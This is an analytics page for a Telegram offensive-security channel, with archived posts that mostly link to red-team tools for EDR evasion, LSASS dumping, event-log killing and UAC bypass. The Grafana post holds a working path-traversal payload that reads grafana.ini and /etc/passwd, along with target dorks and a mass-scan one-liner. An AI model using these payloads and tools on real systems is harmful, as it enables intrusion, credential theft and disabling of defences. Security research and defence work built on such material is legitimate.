en
Feedback
APT

APT

Open in Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

Show more
Russia40 535Technologies & Applications7 794

📈 Analytical overview of Telegram channel APT

Channel APT (@apt_notes) in the English language segment is an active participant. Currently, the community unites 16 275 subscribers, ranking 7 794 in the Technologies & Applications category and 40 535 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 16 275 subscribers.

According to the latest data from 01 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 547 over the last 30 days and by 18 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 44.29%. Within the first 24 hours after publication, content typically collects 18.04% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 7 204 views. Within the first day, a publication typically gains 2 934 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 26.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Thanks to the high frequency of updates (latest data received on 02 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

16 275
Subscribers
+1824 hours
+827 days
+54730 days
Posts Archive
APT
APT
16 271
Log4j RCE — CVE-2021-44228 The vulnerability allows for unauthenticated remote code execution. Log4j 2 is an open source Java logging library developed by the Apache Foundation. Log4j 2 is widely used in many applications and is present, as a dependency, in many services. These include enterprise applications as well as numerous cloud services. # https://www.lunasec.io/docs/blog/log4j-zero-day/ # https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6 # https://github.com/whwlsfb/Log4j2Scan # https://github.com/Cybereason/Logout4Shell #apache #log4j #cve #rce

APT
APT
16 271
Example Reports If you're looking for examples of pentest reports, globalcptc has released redacted versions of the teams that made it to finals for the last 2 years (25 reports) https://github.com/nationalcptc/report_examples

APT
APT
16 271
Detecting NTLM Relay Attacks https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9 #detection #ntlm #relay #blueteam

APT
APT
16 271
ipsourcebypass This Python script can be used to bypass IP source restrictions using HTTP headers. https://github.com/p0dalir
ipsourcebypass This Python script can be used to bypass IP source restrictions using HTTP headers. https://github.com/p0dalirius/ipsourcebypass #ip #header #bypass #bugbounty

APT
APT
16 271
Process Ghosting — EDR Evasion The technique Process Herpaderping attempts to perform evasion by performing modification of the file (image tampering) which creates the process on a windows system. Deleting also the file during the creation of the process can have the same results. Even though some endpoint products have mature over the years and are able to detect complex threats organizations should constantly test the capabilities of their solution and should find alternate methods of detection even for the same technique. https://pentestlaboratories.com/2021/12/08/process-ghosting/ #av #evasion #process #redteam #blueteam

APT
APT
16 271
MAL-CL — Malicious Command-Line MAL-CL aims to collect and document real world and most common "malicious" command-line execu
MAL-CL — Malicious Command-Line MAL-CL aims to collect and document real world and most common "malicious" command-line executions of different tools and utilities while providing actionable detections and resources for the blue team. https://github.com/3CORESec/MAL-CL #windows #cli #detection #blueteam #redteam

APT
APT
16 271
Downgrading Kerberos Encryption & Why It Doesn’t Work In Server 2019 How we make Kerberos tickets use weaker encryption, the "TGT delegation trick", and why none of it works if the domain controllers are Windows Server 2019. https://vbscrub.com/2021/12/04/downgrading-kerberos-encryption-amp-why-it-doesnt-work-in-server-2019/ #kerberos #windows2019 #pentest

APT
APT
16 271
EDRSandBlast EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections (Kernel callbacks and ETW TI provider) and LSASS protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring. https://github.com/wavestone-cdt/EDRSandblast #lsass #dump #etw #redteam

APT
APT
16 271
Extracting passwords from hiberfil.sys When in password hunting mode and having access to the filesystem of the target, most
Extracting passwords from hiberfil.sys When in password hunting mode and having access to the filesystem of the target, most people would reach out to SAM and/or extracting cached credentials. People often overlooked is hiberfil.sys and/or virtual machine snapshots or memory dumps, as they usually contain passwords in plain text. https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps #hiberfil #dump #password

APT
APT
16 271
Abusing Leaked Handles to Dump LSASS Memory # https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html # https://github.com/antonioCoco/MalSeclogon #seclogon #lsass #dump #redteam

APT
APT
16 271
#meme
#meme

APT
APT
16 271
Grafana — Unauthorized Arbitrary Read File The latest Grafana unpatched 0Day LFI is now being actively exploited, it affects
Grafana — Unauthorized Arbitrary Read File The latest Grafana unpatched 0Day LFI is now being actively exploited, it affects only Grafana 8.0+ Dorks: Shodan: title:"Grafana" Fofa.so: app="Grafana" ZoomEye: grafana PoC http://example.com/public/plugins/grafana-clock-panel/../../../../../../../etc/grafana/grafana.ini The "plugin-id" could be any plugin that exists in the system One line command to detect: echo 'app="Grafana"' | fofa -fs 1000 | httpx -status-code -path "/public/plugins/graph/../../../../../../../../etc/passwd -mc 200 -ms 'root:x:0:0' #grafana #lfi #bugbounty #pentest

APT
APT
16 271
PowerRunAsAttached This script allows to spawn a new interactive console as another user account in the same calling console
PowerRunAsAttached This script allows to spawn a new interactive console as another user account in the same calling console (console instance/window). Example: Invoke-RunAsAttached -Username "darkcodersc" -Password "testmepliz" https://github.com/DarkCoderSc/PowerRunAsAttached #runas #powershell #pentest #tools

APT
APT
16 271
#bugbounty #hints
+8
#bugbounty #hints

APT
APT
16 271
Design Issues Of Modern EDRs: Bypassing ETW-Based Solutions https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassi
Design Issues Of Modern EDRs: Bypassing ETW-Based Solutions https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html #etw #redteam #blueteam #malware

APT
APT
16 271
Rodan Telecom Exploitation Framework Rodan is a telecom signaling exploitation framework created and maintained by Etisalat Egypt Research Labs (E-Labs). This framework includes a suite of modules that enable users to exploit vulnerabilities in the signaling protocols used by mobile operators. Rodan currently supports SS7 and Diameter protocols with plans to support GTP and SIP. https://github.com/Etisalat-Egypt/Rodan #telecom #ss7 #gtp #sip

APT
APT
16 271
Phant0m — Windows Event Log Killer Phant0m targets the Event Log service and finding the process responsible for the Event Lo
Phant0m — Windows Event Log Killer Phant0m targets the Event Log service and finding the process responsible for the Event Log service, it detects and kills the threads responsible for the Event Log service. Thus, while the Event Log service appears to be running in the system (because Phant0m didn't kill process), it does not actually run (because Phant0m killed threads) and the system does not collect logs. https://github.com/hlldz/Phant0m #windows #events #log #killer

APT
APT
16 271
UAC bypass - DLL hijacking This is a PoC for bypassing UAC using DLL hijacking and abusing the "Trusted Directories" verifica
UAC bypass - DLL hijacking This is a PoC for bypassing UAC using DLL hijacking and abusing the "Trusted Directories" verification. https://github.com/SecuProject/DLLHijackingScanner #uac #bypass #dll #hijacking

APT
APT
16 271
jq + grep + fzf + curl = SharpCollection https://github.com/Flangvik/SharpCollection 
alias SharpCollection='print -z `curl -sSL "https://api.github.com/repos/Flangvik/SharpCollection/git/trees/master?recursive=1" | jq -r ".tree[].path" | grep \\.exe | while read line; do echo "curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/$line >"; done | fzf --tac`'
#csharp #collection #tooling

APT
APT
16 271
KeyHacks Keyhacks is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid. https://github.com/streaak/keyhacks #api #key #check #bugbounty